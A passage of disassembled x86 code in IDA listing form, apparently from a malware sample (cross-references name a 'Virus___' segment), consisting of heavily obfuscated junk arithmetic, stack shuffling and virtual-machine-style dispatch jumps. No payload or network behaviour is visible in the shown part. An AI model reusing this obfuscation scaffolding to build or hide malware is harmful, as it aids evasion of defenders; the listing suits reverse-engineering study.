; ---------------------------------------------------------------------------


loc_54D68F:				; CODE XREF: sub_545A2B+71D7j
		sub	ecx, ebp
		jmp	loc_548475
; ---------------------------------------------------------------------------


loc_54D696:				; CODE XREF: sub_545A2B+1530j
		mov	edx, 3E39068Dh
		add	edi, edx
		pop	edx
		push	esi
		jmp	loc_548FB9
; ---------------------------------------------------------------------------


loc_54D6A4:				; CODE XREF: sub_545A2B-167Dj
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D6A9:				; CODE XREF: sub_545A2B+530j
		push	46B2h
		jmp	loc_545E41
; ---------------------------------------------------------------------------


loc_54D6B3:				; CODE XREF: sub_545A2B+69B4j
		mov	ebp, [esp-38h+arg_32+2]
		push	edi
		push	esp
		jmp	loc_544BF4
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_54D35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D6C6:				; CODE XREF: sub_545A2B-2335j
		pop	ecx
		add	edi, 2
		xchg	edi, [esp-16h+arg_12]
		pop	esp
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D6DB:				; CODE XREF: sub_545A2B+3E1Aj
		xchg	edx, [esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_54EC5F
; ---------------------------------------------------------------------------


loc_54D6E4:				; CODE XREF: sub_545A2B+6491j
		shl	edx, 7
		inc	edx
		push	ebx
		jmp	loc_54B95B
; ---------------------------------------------------------------------------


loc_54D6EE:				; CODE XREF: sub_545A2B+4A89j
		mov	eax, [esp-48h+arg_42+2]
		add	esp, 4
		add	ebp, 6240C35h
		sub	ebp, ecx
		sub	ebp, 6240C35h
		pop	ecx
		mov	esi, ebp
		pop	ebp
		and	eax, esi
		jmp	loc_54645A
; ---------------------------------------------------------------------------


loc_54D70D:				; CODE XREF: sub_545A2B+1841j
		pop	[esp-40h+arg_3A+2]
		add	[esp-44h+arg_3E+2], 4
		jmp	loc_54545B
; ---------------------------------------------------------------------------


loc_54D719:				; CODE XREF: sub_545A2B+7D40j
		pop	edx
		add	esi, ebx
		pop	ebx
		add	ebx, esi
		pop	esi
		jmp	loc_54A9BC
; ---------------------------------------------------------------------------


loc_54D725:				; CODE XREF: sub_545A2B+1C81j
		pop	esi
		sub	edx, 5BEE4664h
		push	1856h
		jmp	loc_548EDE
; ---------------------------------------------------------------------------


loc_54D736:				; CODE XREF: sub_545A2B+441j
		mov	eax, 4
		sub	edi, eax
		jmp	loc_54A13F
; ---------------------------------------------------------------------------


loc_54D742:				; CODE XREF: sub_545A2B+87D0j
		or	ecx, edx
		pop	edx
		jmp	loc_54E892
; ---------------------------------------------------------------------------


loc_54D74A:				; CODE XREF: sub_545A2B+BFBj
		mov	edi, 1CB76D07h
		jmp	loc_545266
; ---------------------------------------------------------------------------


loc_54D754:				; CODE XREF: sub_545A2B+28C1j
		push	edi
		mov	edi, 0AC91043h
		xor	edi, 27495F73h
		xor	edi, 0E12B709h
		mov	edx, edi
		pop	edi
		xor	ebx, edx
		jmp	loc_54D719
; ---------------------------------------------------------------------------


loc_54D770:				; CODE XREF: sub_545A2B+15DCj
		push	esi
		jmp	loc_548AE2
; ---------------------------------------------------------------------------


loc_54D776:				; CODE XREF: sub_545A2B+1410j
		mov	ebp, [esp-38h+arg_32+2]
		add	esp, 4
		jmp	loc_549666
; ---------------------------------------------------------------------------


loc_54D784:				; CODE XREF: sub_545A2B+70Dj
		pop	esi
		pop	[esp-1Eh+arg_1A]
		mov	esp, [esp-22h+arg_1E]
		mov	[esp-22h+arg_1E], edx
		push	eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D795:				; CODE XREF: sub_545A2B+85D3j
		mov	esi, [esp-1Ah+arg_16]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp-16h+arg_12]
		xor	[esp-16h+arg_12], esi
		xor	esi, [esp-16h+arg_12]
		pop	esp
		jmp	loc_54880C
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	3087h
		mov	[esp], edi
		jmp	loc_545AA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D7C6:				; CODE XREF: sub_545A2B+6172j
		pop	[esp-20h+arg_1A+2]
		jmp	loc_545EAA
; ---------------------------------------------------------------------------


loc_54D7CE:				; CODE XREF: sub_545A2B+DAFj
		add	bl, 46h
		add	bl, ch
		push	eax
		mov	ah, 2
		shr	ah, 8
		jmp	loc_54E73C
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54D7DE:				; CODE XREF: Virus___:005454CDj
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		jmp	loc_54DDCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D800:				; CODE XREF: sub_545A2B+7B60j
		mov	esp, [esp-48h+arg_42+2]
		sub	esp, 4
		mov	[esp-44h+arg_3E+2], ecx
		push	10C1h
		mov	[esp-40h+arg_3A+2], eax
		jmp	loc_547600
; ---------------------------------------------------------------------------


loc_54D819:				; CODE XREF: sub_545A2B+1885j
		add	bl, ah
		jmp	loc_548F03
; ---------------------------------------------------------------------------


loc_54D820:				; CODE XREF: sub_545A2B+65D4j
		pop	edx
		jmp	loc_54B628
; ---------------------------------------------------------------------------


loc_54D826:				; CODE XREF: sub_545A2B+12DBj
		pop	esi
		add	esi, 4
		push	ebx
		jmp	loc_549DCE
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5441CB


loc_54D833:				; CODE XREF: sub_5441CB+6j
		sub	esi, ebp
		pop	ebp
		push	esi
		jmp	loc_546134
; END OF FUNCTION CHUNK	FOR sub_5441CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D83C:				; CODE XREF: sub_545A2B+1A1Bj
		xor	edi, 2BC1959Eh
		add	edx, edi
		pop	edi
		jmp	loc_54F056
; ---------------------------------------------------------------------------


loc_54D84A:				; CODE XREF: sub_545A2B-1BCCj
		mov	ax, word ptr [esp-56h+arg_50+2]
		add	esp, 2
		sub	dl, 0EDh
		sub	al, dl
		jmp	loc_5434EA
; ---------------------------------------------------------------------------


loc_54D85E:				; CODE XREF: sub_545A2B-2320j
		add	edx, 41DF1DFDh
		pop	edi
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D86A:				; CODE XREF: sub_545A2B+407Cj
		sub	edx, 3243F71h
		sub	esp, 4
		mov	[esp-50h+arg_4C], edi
		mov	edi, 3DB6614Bh
		and	edx, edi
		pop	edi
		jmp	loc_54A8A2
; ---------------------------------------------------------------------------


loc_54D883:				; CODE XREF: sub_545A2B+133Aj
		add	ebx, 0FFD388Fh
		or	ebx, 261A0C2Bh
		neg	ebx
		neg	ebx
		or	ebx, 46E4688Dh
		add	ebx, 23A66D01h
		mov	ebp, ebx
		jmp	loc_549B03
; ---------------------------------------------------------------------------


loc_54D8A6:				; CODE XREF: sub_545A2B+4C99j
		inc	ecx
		sub	ecx, 1910C21Eh
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-54h+arg_50]
		pop	esp
		mov	[esp-58h+arg_54], edx
		jmp	loc_5479D5
; ---------------------------------------------------------------------------


loc_54D8BC:				; CODE XREF: sub_545A2B+5556j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54D8C1:				; CODE XREF: sub_545A2B+5993j
		pop	ecx
		or	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp-32h+arg_2E], ebx
		mov	ebx, 1FF7FFEFh
		jmp	loc_549303
; ---------------------------------------------------------------------------


loc_54D8D8:				; CODE XREF: sub_545A2B+6879j
		pop	ecx
		neg	bh
		dec	bh
		add	bh, 5Dh
		mov	dl, bh
		pop	ebx
		xor	dl, 51h
		sub	dl, 38h
		not	dl
		shr	dl, 8
		xor	dl, 8Bh
		xor	bh, dl
		pop	edx
		mov	dl, bh
		pop	ebx
		sub	al, dl
		pop	edx
		push	4614h
		jmp	loc_5447CC
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54317D


loc_54D904:				; CODE XREF: sub_54317D+41Bj
		pop	ebx
		jmp	loc_543152
; END OF FUNCTION CHUNK	FOR sub_54317D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D90A:				; CODE XREF: sub_545A2B+979Ej
		mov	ebp, 318569F5h
		and	ebp, 622B2B33h
		add	ebp, 0DFFED6D3h
		add	ecx, ebp
		pop	ebp
		push	eax
		push	ebx
		push	2D2Dh
		jmp	loc_547C57
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54D92A	proc near		; CODE XREF: sub_545A2B+50A9j

; FUNCTION CHUNK AT 0054DE05 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, 259B61BFh
		shr	ebp, 3
		jmp	loc_54DE05
sub_54D92A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D938:				; CODE XREF: sub_545A2B+40B7j
		sub	edx, 4
		xchg	edx, [esp-6+arg_0+2]
		pop	esp
		mov	[esp-0Ah+arg_4+2], ecx
		mov	ecx, 3DE72C0Ah
		jmp	loc_54D5A1
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54D94C	proc near		; CODE XREF: sub_545A2B+4C15j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	2300h
		mov	[esp+4+var_4], ecx
		push	ebx
		mov	ebx, 78BA09F2h
		dec	ebx
		shl	ebx, 1
		xor	ebx, 0B4AA60F9h
		jmp	loc_546575
sub_54D94C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54D97D:				; CODE XREF: sub_545A2B+357Fj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-50h+arg_4C]
		pop	esp
		mov	[esp-54h+arg_50], ecx
		mov	cl, bh
		jmp	loc_547EC3
; ---------------------------------------------------------------------------


loc_54D996:				; CODE XREF: sub_545A2B-FEj
		pop	eax
		neg	ecx
		jmp	loc_54B345
; ---------------------------------------------------------------------------


loc_54D99E:				; CODE XREF: sub_545A2B-1578j
		mov	[esp-16h+arg_12], edi
		push	468412Eh
		push	[esp-12h+arg_E]
		pop	edi
		add	esp, 4
		shl	edi, 7
		shr	edi, 8
		push	edx
		mov	edx, 43462C2Ah
		sub	edi, edx
		pop	edx
		push	ebx
		push	ecx
		jmp	loc_54DB50
; ---------------------------------------------------------------------------


loc_54D9C3:				; CODE XREF: sub_545A2B+4BDEj
		not	edi
		add	edi, 0F43B9708h
		sub	eax, edi
		jmp	loc_548B09
; ---------------------------------------------------------------------------


loc_54D9D2:				; CODE XREF: sub_545A2B+772Ej
		add	[esp-16h+arg_12], 4
		push	[esp-16h+arg_12]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5489E5
; ---------------------------------------------------------------------------


loc_54D9F4:				; CODE XREF: sub_545A2B+4281j
		push	edi
		jmp	loc_5473C4
; ---------------------------------------------------------------------------


loc_54D9FA:				; CODE XREF: sub_545A2B+812Aj
		mov	ebx, 0B59AA713h
		xor	ebx, ecx
		pop	ecx
		add	edi, ebx
		pop	ebx
		shl	edi, 4
		push	eax
		mov	eax, 30F70AACh
		shr	eax, 5
		or	eax, 6C784C0Fh
		jmp	loc_5468C4
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54DA1B	proc near		; CODE XREF: sub_545A2B+251Aj
		push	ebp
		mov	ebp, 7DAF13C7h
		jmp	loc_549257
sub_54DA1B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54DA26:				; CODE XREF: sub_545A2B+4E64j
		add	edi, eax
		pop	eax
		mov	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_54EE18
; ---------------------------------------------------------------------------


loc_54DA39:				; CODE XREF: sub_545A2B+64Dj
		not	eax
		add	eax, 0E5E02FA2h
		mov	ebx, eax
		jmp	loc_54D4C3
; ---------------------------------------------------------------------------


loc_54DA47:				; CODE XREF: sub_545A2B+1FB5j
		sub	edx, 6B265AF9h
		jmp	loc_54B1F2
; ---------------------------------------------------------------------------


loc_54DA52:				; CODE XREF: sub_545A2B+57D3j
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp+0]
		pop	esp
		mov	edi, esi
		pop	esi
		jmp	loc_5499F5
; ---------------------------------------------------------------------------


loc_54DA61:				; CODE XREF: sub_545A2B+4750j
		push	eax
		mov	eax, 2694138Ah
		xor	ecx, eax
		mov	eax, [esp-24h+arg_1E+2]
		add	esp, 4
		add	esi, 4D2A6B78h
		add	esi, ecx
		sub	esi, 4D2A6B78h
		pop	ecx
		sub	esp, 4
		mov	[esp-28h+arg_22+2], ecx
		jmp	loc_544EB5
; ---------------------------------------------------------------------------


loc_54DA8C:				; CODE XREF: sub_545A2B+30ADj
		pop	esp
		mov	word ptr [esp-34h+arg_2E+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54DA9D:				; CODE XREF: sub_545A2B+742Fj
		push	esp
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_54C43B
; ---------------------------------------------------------------------------


loc_54DAA9:				; CODE XREF: sub_545A2B+42D6j
		mov	[esp-16h+arg_12], ecx
		mov	ecx, 4
		push	ebx
		mov	ebx, 65CA7755h
		add	ebx, 0B276FA7Bh
		sub	esi, ebx
		pop	ebx
		add	esi, ecx
		push	ebp
		mov	ebp, 184171D0h
		sub	esi, 6ECA1076h
		sub	esi, 25683E2Bh
		add	esi, ebp
		add	esi, 25683E2Bh
		add	esi, 6ECA1076h
		pop	ebp
		pop	ecx
		jmp	loc_54320D
; ---------------------------------------------------------------------------


loc_54DAE9:				; CODE XREF: sub_545A2B+5285j
		pop	edx
		jmp	loc_5460FF
; ---------------------------------------------------------------------------


loc_54DAEF:				; CODE XREF: sub_545A2B+5F6Ej
		mov	edx, 2
		add	edi, edx
		mov	edx, [esp-2Eh+arg_2A]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_546AC0
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54DB01:				; CODE XREF: Virus___:00543C2Fj
		push	233423ADh
		pop	edi
		inc	edi
		neg	edi
		jmp	loc_543E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54DB0F:				; CODE XREF: sub_545A2B-1141j
		add	al, 3Dh
		add	al, bl
		sub	al, 3Dh
		push	29C5h
		mov	[esp-4Ch+arg_46+2], ecx
		mov	cl, 6
		sub	al, 95h
		sub	al, cl
		add	al, 95h
		push	[esp-4Ch+arg_46+2]
		jmp	loc_549BF5
; ---------------------------------------------------------------------------


loc_54DB2D:				; CODE XREF: sub_545A2B+82B4j
		pop	esi
		sub	edx, 2E52221Eh
		push	0B0ACB670h
		push	[esp-48h+arg_42+2]
		pop	eax
		jmp	loc_54BF3C
; ---------------------------------------------------------------------------


loc_54DB42:				; CODE XREF: sub_545A2B+1455j
		pop	edx
		push	5D81h
		mov	[esp+0Ah+var_C+2], edi
		jmp	loc_54CF67
; ---------------------------------------------------------------------------


loc_54DB50:				; CODE XREF: sub_545A2B+7F93j
		mov	ecx, 4A6558ECh
		jmp	loc_54D9FA
; ---------------------------------------------------------------------------


loc_54DB5A:				; CODE XREF: sub_545A2B+5D3Bj
		add	ebx, edx
		pop	edx
		add	ebx, 2
		xchg	ebx, [esp-14h+arg_E+2]
		pop	esp
		jmp	loc_54620D
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543680


loc_54DB6C:				; CODE XREF: sub_543680+20j
		add	edx, 4
		sub	edx, 4
		jmp	loc_54AD4B
; END OF FUNCTION CHUNK	FOR sub_543680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54DB7D:				; CODE XREF: sub_545A2B+E44j
		pop	eax
		jmp	loc_54E4BC
; ---------------------------------------------------------------------------


loc_54DB83:				; CODE XREF: sub_545A2B+1ABAj
		mov	edi, eax
		pop	eax
		shl	edi, 5
		jmp	loc_54DF59
; ---------------------------------------------------------------------------


loc_54DB8E:				; CODE XREF: sub_545A2B+1DBCj
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp-10h+arg_A+2]
		mov	esp, [esp-10h+arg_A+2]
		add	esp, 4
		or	eax, eax
		jz	loc_5451AF
		push	dword ptr [edi+28h]
		mov	eax, [esp-10h+arg_A+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_545E6B
; ---------------------------------------------------------------------------


loc_54DBC5:				; CODE XREF: sub_545A2B+6053j
		mov	ebp, 54306462h
		shr	ebp, 1
		jmp	loc_54DD0D
; ---------------------------------------------------------------------------


loc_54DBD1:				; CODE XREF: sub_545A2B+3C21j
		push	esi
		mov	esi, 31795268h
		push	ecx
		jmp	loc_543AB5
; ---------------------------------------------------------------------------


loc_54DBDD:				; CODE XREF: sub_545A2B+7AA0j
		add	esp, 4


loc_54DBE3:				; CODE XREF: sub_545A2B+620Cj
					; sub_545A2B+9110j
		push	[esp-22h+arg_1E]
		jmp	loc_544B64
; ---------------------------------------------------------------------------


loc_54DBEB:				; CODE XREF: sub_545A2B+4BC7j
		push	edx
		mov	edx, 4DDD4EC5h
		xor	edi, edx
		pop	edx
		add	eax, edi
		pop	edi
		sub	ebx, 67B869FFh
		jmp	loc_54C6EB
; ---------------------------------------------------------------------------


loc_54DC02:				; CODE XREF: sub_545A2B-4DFj
		inc	ecx
		sub	ecx, 90B506Ah
		add	ecx, 8D471C6h
		add	eax, ecx
		jmp	loc_54BA32
; ---------------------------------------------------------------------------


loc_54DC16:				; CODE XREF: sub_545A2B+3654j
		xor	edi, 0E1F795EFh
		and	eax, edi
		mov	edi, [esp-26h+arg_22]
		add	esp, 4
		or	eax, eax
		jz	loc_54A36C
		push	dword ptr [edi+1Ch]
		push	[esp-26h+arg_22]
		pop	ecx
		push	ebp
		jmp	loc_54DE38
; ---------------------------------------------------------------------------


loc_54DC3C:				; CODE XREF: sub_545A2B+75B9j
		push	4047h
		mov	[esp+16h+var_16], ebx
		mov	ebx, 2
		add	esi, ebx
		jmp	loc_546E32
; ---------------------------------------------------------------------------


loc_54DC50:				; CODE XREF: sub_545A2B+4BB9j
		add	esp, 4
		push	[esp-1Eh+arg_1A]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-1Ah+arg_16]
		mov	esp, [esp-1Ah+arg_16]
		push	ebx
		mov	ebx, 62E01204h
		xor	edi, ebx
		pop	ebx
		push	54FAh
		jmp	loc_54C0F5
; ---------------------------------------------------------------------------


loc_54DC7F:				; CODE XREF: sub_545A2B-1331j
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		jmp	sub_54E5AF
; ---------------------------------------------------------------------------


loc_54DC88:				; CODE XREF: sub_545A2B+76DCj
		pop	esp
		sub	esp, 4
		mov	[esp-10h+arg_A+2], edx
		sub	esp, 4
		mov	[esp+0], ecx
		mov	cl, 57h
		inc	cl
		sub	esp, 4
		mov	[esp-8+arg_4], edx
		mov	dh, 0A5h
		jmp	loc_54EC2E
; ---------------------------------------------------------------------------


loc_54DCAF:				; CODE XREF: sub_545A2B-1337j
		xor	edx, [esp-36h+arg_32]
		jmp	loc_54EB48
; ---------------------------------------------------------------------------


loc_54DCB7:				; CODE XREF: sub_545A2B-26DAj
		pop	ecx
		push	5E2Fh
		mov	[esp-14h+arg_E+2], ebp
		push	2DFCh
		jmp	loc_54CBF3
; ---------------------------------------------------------------------------


loc_54DCCA:				; CODE XREF: sub_545A2B+2292j
		pop	ebx
		xor	edx, 2CE05806h
		push	esi
		mov	esi, 48DD3ABEh
		add	esi, 2447EDFEh
		or	edx, esi
		jmp	loc_54DB2D
; ---------------------------------------------------------------------------


loc_54DCE4:				; CODE XREF: sub_545A2B-150Bj
		push	eax
		jmp	loc_54426E
; ---------------------------------------------------------------------------


loc_54DCEA:				; CODE XREF: sub_545A2B+42FAj
		mov	[esp+0], edi
		mov	edi, 748F4A19h
		shl	edi, 6
		jmp	loc_54BF09
; ---------------------------------------------------------------------------


loc_54DCFA:				; CODE XREF: sub_545A2B+907Ej
		sub	edx, 0CA03075h
		sub	edx, 66746187h
		add	ebp, edx
		jmp	loc_54A60E
; ---------------------------------------------------------------------------


loc_54DD0D:				; CODE XREF: sub_545A2B+81A1j
		add	ebp, 0D5E7CDD3h
		add	ebx, 49EB4044h
		add	ebx, ebp
		sub	ebx, 49EB4044h
		jmp	loc_5485B6
; ---------------------------------------------------------------------------


loc_54DD26:				; CODE XREF: sub_545A2B+1AD4j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-1Eh+arg_1A]
		pop	esp
		mov	[esp-22h+arg_1E], ebp
		push	esi
		mov	esi, 64B56D15h
		and	esi, 3267249Ch
		not	esi
		shr	esi, 1
		and	esi, 34351F5h
		not	esi
		sub	esi, 0E81A5951h
		jmp	loc_54EDE5
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543A46


loc_54DD59:				; CODE XREF: sub_543A46+AD31j
		push	esi
		jmp	loc_544F7E
; END OF FUNCTION CHUNK	FOR sub_543A46

; =============== S U B	R O U T	I N E =======================================



sub_54DD5F	proc near		; DATA XREF: Virus___:00542EB0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	233Bh
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	50FBh
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_54B3D5
sub_54DD5F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54DD7D:				; CODE XREF: sub_545A2B+5E58j
		not	eax
		add	eax, 7F693151h
		not	eax
		shr	eax, 8
		jmp	loc_547B09
; ---------------------------------------------------------------------------


loc_54DD8E:				; CODE XREF: sub_545A2B+5131j
		sub	ebp, 18AE070h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_548127
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54DD9C	proc near		; DATA XREF: Virus___:00542E4Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 0054D083 SIZE 00000055 BYTES

		mov	cx, [esp+0]
		push	63C1h
		mov	[esp+4+var_4], edx
		jmp	loc_54D083
sub_54DD9C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54DDAD:				; CODE XREF: sub_545A2B+5896j
		pop	esp
		sub	al, bl
		add	al, 7Ch
		push	small 7098h
		mov	word ptr [esp-22h+arg_1E], cx
		mov	ch, 4Ch
		sub	al, 0F3h
		jmp	sub_54C9ED
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54E287


loc_54DDC3:				; CODE XREF: sub_54E287-9449j
		push	[esp+4+var_4]
		jmp	loc_5480E4
; END OF FUNCTION CHUNK	FOR sub_54E287
; ---------------------------------------------------------------------------


loc_54DDCB:				; CODE XREF: Virus___:0054D7FBj
		mov	edx, esp
		jmp	loc_54C050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54DDD2:				; CODE XREF: sub_545A2B+3C8j
		and	eax, 14D07A58h
		add	eax, 0FFFFBE04h
		sub	ebp, 4ED9251Dh
		add	ebp, eax
		add	ebp, 4ED9251Dh
		pop	eax
		sub	esp, 4
		mov	[esp-1Eh+arg_1A], ebx
		jmp	loc_54C832
; ---------------------------------------------------------------------------


loc_54DDF6:				; CODE XREF: sub_545A2B+416Aj
		pop	ebx
		xchg	edi, [esp-10h+arg_A+2]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_547073
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D92A


loc_54DE05:				; CODE XREF: sub_54D92A+9j
		push	eax
		jmp	loc_549C76
; END OF FUNCTION CHUNK	FOR sub_54D92A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54DE0B:				; CODE XREF: sub_545A2B-78Ej
		mov	[esp-4+arg_0], edx
		mov	edx, 4
		sub	esi, 43913B1Fh
		sub	esi, edx
		add	esi, 43913B1Fh
		pop	edx
		xchg	esi, [esp-8+arg_4]
		pop	esp
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	edx
		push	6350h
		jmp	loc_544C6F
; ---------------------------------------------------------------------------


loc_54DE38:				; CODE XREF: sub_545A2B+820Cj
		push	esp
		mov	ebp, [esp-1Eh+arg_1A]
		jmp	loc_5450D7
; ---------------------------------------------------------------------------


loc_54DE41:				; CODE XREF: sub_545A2B-2936j
		add	edi, 4
		xchg	edi, [esp-0Eh+arg_A]
		mov	esp, [esp-0Eh+arg_A]
		or	edx, eax
		shl	edx, 1
		push	7FF9h
		mov	[esp-0Ah+arg_4+2], ebp
		mov	ebp, 1
		push	eax
		push	ecx
		jmp	loc_54A50B
; ---------------------------------------------------------------------------


loc_54DE65:				; CODE XREF: sub_545A2B+6008j
		add	eax, ebx
		sub	eax, 7BA8615Ch
		sub	eax, 439B7276h
		jmp	sub_54E933
; ---------------------------------------------------------------------------


loc_54DE76:				; CODE XREF: sub_545A2B+103Ej
		mov	[esp-3Ch+arg_36+2], edx
		push	2Ch
		pop	edx
		jmp	loc_544D90
; ---------------------------------------------------------------------------


loc_54DE84:				; CODE XREF: sub_545A2B+42A5j
		xchg	esi, [esp-1Ah+arg_16]
		jmp	loc_54A673
; ---------------------------------------------------------------------------


loc_54DE8C:				; CODE XREF: sub_545A2B+710Ej
		sub	[esp-24h+arg_1E+2], 5E7A0D44h
		pop	ebx
		jmp	loc_544C0D
; ---------------------------------------------------------------------------


loc_54DE99:				; CODE XREF: sub_545A2B+68E7j
		mov	[esp-3Ah+arg_36], edx
		jmp	loc_54744B
; ---------------------------------------------------------------------------


loc_54DEA1:				; CODE XREF: sub_545A2B-2203j
		add	edi, 187630B3h
		shl	edi, 5
		push	edx
		mov	edx, 49750748h
		jmp	loc_54A5FE
; ---------------------------------------------------------------------------


loc_54DEB5:				; CODE XREF: sub_545A2B+5D8Dj
		mov	esi, 342B193Fh
		add	esi, 2D3C38F5h
		add	esi, 9E98ADD0h
		jmp	loc_544621
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54DECB	proc near		; CODE XREF: sub_545A2B+6D2Fj
		push	ebp
		jmp	loc_54A30E
sub_54DECB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54DED1:				; CODE XREF: sub_545A2B+7323j
		pop	edi
		add	esp, 4
		pop	[esp-0Ah+arg_4+2]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp-0Eh+arg_A], eax
		jmp	loc_54D464
; ---------------------------------------------------------------------------


loc_54DEEC:				; CODE XREF: sub_545A2B+40DFj
		or	ebp, 45BE5089h
		and	ebp, 51E41617h
		sub	ebp, 456A6515h
		push	eax
		mov	eax, 4D816B4Ah
		jmp	loc_54F188
; ---------------------------------------------------------------------------


loc_54DF09:				; CODE XREF: sub_545A2B+1B9Bj
		add	edx, 1
		sub	edx, 7E920022h
		push	2F33h
		mov	[esp-1Ch+arg_16+2], ebp
		jmp	loc_548E09
; ---------------------------------------------------------------------------


loc_54DF22:				; CODE XREF: sub_545A2B+5849j
		add	[esp+4], ebp
		mov	ebp, [esp-8+arg_4]
		jmp	loc_54A11A
; ---------------------------------------------------------------------------


loc_54DF2E:				; CODE XREF: sub_545A2B+55A9j
		add	eax, 4
		push	ecx
		push	edi
		push	517D55A5h
		jmp	loc_5433E1
; ---------------------------------------------------------------------------


loc_54DF3F:				; CODE XREF: sub_545A2B+9709j
		push	esi
		push	edx
		jmp	loc_54B170
; ---------------------------------------------------------------------------


loc_54DF46:				; CODE XREF: sub_545A2B+3D35j
		add	ecx, edi
		pop	edi
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xor	eax, [esp-48h+arg_42+2]
		jmp	loc_54C971
; ---------------------------------------------------------------------------


loc_54DF59:				; CODE XREF: sub_545A2B+815Ej
		sub	edi, 4BCA467Ch
		jmp	loc_545433
; ---------------------------------------------------------------------------


loc_54DF64:				; CODE XREF: sub_545A2B-F27j
		mov	eax, 4
		jmp	loc_547DBC
